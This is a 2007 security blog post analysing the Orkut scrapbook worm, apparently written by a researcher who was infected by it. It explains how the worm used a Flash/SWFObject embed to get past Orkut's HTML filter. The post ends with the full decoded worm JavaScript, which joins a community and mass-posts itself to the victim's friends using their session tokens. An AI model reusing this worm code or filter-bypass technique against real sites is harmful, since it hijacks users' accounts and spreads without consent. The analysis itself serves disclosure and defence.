ryanlrussell: December 2007

Yes, my HTML/Javascript-fu is weak. So much so that I didn't know we were dealing with pure Javascript. Javascript that just happens to exist to facilitate posting Flash movies and games, so that's why it has "Flash" written all over it.

To back up several steps... I received an email from Orkut saying that someone I know had left me a scrapbook entry. I went and looked at it, and was puzzling over the non-Englishness of it from someone whom I know is an English speaker. Of course during that time my browser (Firefox on OS X) was busy doing the same to my Orkut contacts. Sorry about that guys!

One of them is Jeremy Rauch. Within minutes of me looking at my scrapbook, I get email that Jeremy and others have now left me new scrapbook entries. This is about when I start to guess what's going on. I mail Jeremy to point out that he seems to have it now, and he says he knows... I gave it to him. Whoops! Jeremy was skeptical that Flash was really involved, since he has it blocked in his browser by default. He was right.

So here is what I think is happening, to the best of my ability as someone with weak Javascript-fu. Take a look at the chunk of HTML that ends up as a scrapbook entry that I posted earlier.

It obviously pulls in a chunk of Javascript that is even named "virus.js". But why all the trickery with the Shockwave and flash stuff? If Orkut allows posting raw HTML, why the games? Why not just source virus.js and be done with it?

So I did some experiments tonight. I tried the old script, alert 'hello I'm an XSS', etc... and that doesn't work. It says my rich content was rejected, see here.

And yet, I can paste in a much more complicated embed a flash movie expression, and that DOES work. Though, it made me fill in a CAPTCHA. I suspect that CAPTCHA is brand new as of tonight, otherwise I'm not seeing how the worm worked so well.

So the basic security challenge for Orkut here is that they want to allow some arbitrary HTML, but not others. As we have seen for many years with web-based email, that's a pretty hard problem to solve.

So that's why the hoops to jump through. The worm author needed something that looked like a flash movie so that Orkut would allow posting it, but in fact allowed him to pull in arbitrary Javascript.

This is where the SWFObject library comes into play. Its purpose in life seems to be to make it easier to embed Flash stuff and have it play properly. Orkut is nice enough to make this library available to every browser that loads the Scrapbook (and probably other) pages. They keep it at http://img2.orkut.com/js/gen/scraps006.js, which they source for you.

It looks to me like the worm author is able to build a SWFObject that includes the Javascript and causes it to be embedded in the Orkut page, thereby acting in the right context to have access to your Orkut cookies and all the good stuff that an AJAX worm needs. MySpace isn't alone in having all the good Web 2.0 worms anymore.

Jeremy decoded and prettied up the obfuscated Javascript. You can see that code at the end. If you're watching carefully, you'll see this version has a different message as the scrap body than the one I originally posted. That means the person (presumably the worm author) who controls the virus.js download page has revved the file at least one. I have two different (obfuscated) versions. Since I believe Orkut was taking active measures to shut this thing down, I'm guessing the author changes the text in case Orkut was keying off that.

Like I mentioned before, if the CAPTCHA is new, that should essentially stop this thing from spreading. This kind of worm has interesting implications for social sites. If this gets to be really common, it means you'll be answering CAPTCHAs or something similar left and right.

Also worth noting is that stopping the worm doesn't stop other interesting attacks. I was still able to post the same embed chunk of code to my own scrapbook as an experiment, I just had to answer the CAPTCHA. So a human could still put something there. If they can use it to run Javascript, that still leaves open attacks where they can steal your cookies.

It looks like the immediate problem is over. I probably won't have a lot more technical to say on this one. I hope that the Jeremiahs and RSnakes of the world will jump in soon and tell me how the worm actually works.

Decoded Javascript:

var index=0;
var POST=JSHDF["CGI.POST_TOKEN"];
var SIG=JSHDF["Page.signature.raw"];

function createXMLHttpRequest(){
try {
return new
ActiveXObject("Msxml2.XMLHTTP")
}
catch(e){
} ;

try {
return new ActiveXObject("Microsoft.XMLHTTP")
}
catch(e){
};

try {
return new XMLHttpRequest()
}
catch(e){
} ;
return null
};

function setCookie(name,value,expires,path,domain,secure){
var curCookie=name+"="+escape(value)+(expires?";expires="+expires.toGMTString():"")+(path?";path="+path:"")+(domain?";domain="+domain:"")+(secure?";secure":"");
document.cookie=curCookie
};

function getCookie(name){
var dc=document.cookie;
var prefix=name+"=";
var begin=dc.indexOf(";"+prefix);
if(begin==-1){
begin=dc.indexOf(prefix);
if(begin!=0){
return false
}
} else {
begin+=2
};
var end=document.cookie.indexOf(";",begin);

if(end==-1){
end=dc.length
};
return unescape(dc.substring(begin+prefix.length,end))
};

function deleteCookie(name,path,domain){
if(getCookie(name)){ document.cookie=name+"="+(path?";path="+path:"")+(domain?";domain="+domain:"")+";expires=Thu, 01-Jan-70 00:00:01 GMT";
history.go(0)
}
};

function loadFriends(){
var xml=createXMLHttpRequest();
if(xml){
xml.open("GET","http://www.orkut.com/Compose.aspx",true);
xml.send(null);
xml.onreadystatechange=function(){
if(xml.readyState==4){
if(xml.status==200){
var xmlr=xml.responseText;
var div=document.createElement("div");
div.innerHTML=xmlr;
var select=div.getElementsByTagName("select").item(0);
if(select){
select.removeChild(select.getElementsByTagName("option").item(0));
select.setAttribute("id","selectedList");
select.style.display="none";
document.body.appendChild(select);
sendScrap()
}
} else {
loadFriends()
}
}
};
xml.send(null)
}
};

function cmm_join(){
var send="POST_TOKEN="+encodeURIComponent(POST)+"&signature="+encodeURIComponent(SIG)+"&Action.join";
var xml=createXMLHttpRequest();
xml.open('POST','http://www.orkut.com/CommunityJoin.aspx?cmm='+String.fromCharCode(52,52,48,48,49,56,49,56),true);
xml.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xml.send(send);
xml.onreadystatechange=function(){
if(xml.readyState==4){
if(xml.status!=200){
cmm_join();
return
};
loadFriends()
}
}
};

function sendScrap(){
if(index==document.getElementById("selectedList").length){
return
};
var scrapText="Boas festas de final de ano![silver]"+new Date().getTime()+"[/silver] ";
var send="Action.submit=1&POST_TOKEN="+encodeURIComponent(POST)+"&scrapText="+encodeURIComponent(scrapText)+"&signature="+encodeURIComponent(SIG)+"&toUserId="+document.getElementById("selectedList").item(index).value;

var xml=createXMLHttpRequest();
xml.open("POST","http://www.orkut.com/Scrapbook.aspx",true);
xml.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
xml.send(send);
xml.onreadystatechange=function(){
if(xml.readyState==4){
index++;
var wDate=new Date;
wDate.setTime(wDate.getTime()+86400);
setCookie('wormdoorkut',index,wDate);
sendScrap()
}
}
};

if(!getCookie('wormdoorkut')){
var wDate=new Date;
wDate.setTime(wDate.getTime()+86400);
setCookie('wormdoorkut','0',wDate)
};

index=getCookie('wormdoorkut');
cmm_join();

ryanlrussell

Wednesday, December 19, 2007

More on Orkut worm

Tuesday, December 18, 2007

Orkut "virus"

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